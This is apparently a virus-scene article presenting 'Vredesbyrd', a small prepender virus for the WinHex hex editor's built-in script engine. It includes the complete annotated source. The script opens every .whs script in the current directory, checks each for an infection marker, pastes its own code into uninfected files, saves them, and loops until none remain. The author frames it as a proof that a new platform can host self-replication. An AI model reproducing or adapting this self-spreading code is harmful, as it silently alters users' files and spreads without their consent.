|WinHex.Vredesbyrd | Project started : 2007.06.14
|izee // EOF | Virus finished : 2007.06.15
| | Whole project finished : 2007.06.21
|virus name : Vredesbyrd |
|virus type : prepender |
|platform : hex editor |
|target : WinHex |
|tested on : WinHex 13.6 |
|size : 197 bytes |
About the virus.
This virus is coded for WinHex built-in script engine. On execution virus will
prepend itself at the beginning of every .whs file in the current directory.
To be honest, I never saw hex editors viruses, so it may be the first one.
==start of source===
===end of source====
//WH.Vredesbyrd -- Virus mark. We'll need it to check if file is infected or not, but not only. (-;
Open ".\*.whs" -- Open all .whs files in WinHex which are located in the current directory.
NextObj -- As WinHex opens files and sorting tabs in alphabetical order, virus must
be in a first position among other whs files and tabs. To be first in the
directory and in WinHex tabs, virus should have filename like "a1.whs" or
Here's is a scheme how WinHex will open all whs files and sort thems.
[a1.whs] [victim1.whs] [victim2.whs] [victim3.whs] ...
When all whs files will be opened, WinHex by default will point to the
last tab - "victim3.whs", so we must move to the first tab, and as you
see the first tab is a virus. NextObj command will move from the last
tab to the first, it will be the virus.
Block2 196 -- Now we are in the virus tab. Block2 command will highlight 196 bytes of
data (it's a whole virus) from up to down.
Copy -- Copy highlighted virus into buffer.
Close -- Close the virus tab, thus we are moving to the next tab. As in scheme
above, it would be "victim1.whs".
Label infect -- Infection label.
Find "Vredesbyrd" -- Searching for mark, if file is already infected or not.
IfFound -- If mark found - file already infected.
Close -- Close already infected file and move to the next tab.
else -- If mark was not found - file not infected.
Paste -- Paste the copied to buffer virus into currently opened file.
Save -- Save the infected file.
Close -- Close the infected file, thus we are moving to the next tab.
EndIf -- End of IfFound procedure.
ExitIfNoFilesOpen -- If no opened tabs left - stop virus.
JumpTo infect -- If more tabs left - jump to infection label and infect other whs files.
As you see, this small, only 16 commands containing, 197 bytes virus is only for the
demonstration purposes. Such viruses will never spread, but it's always interesting
to show new platforms for self-replication possibility.
I hope you enjoyed it, if you have something to say, my mail is: firstname.lastname@example.org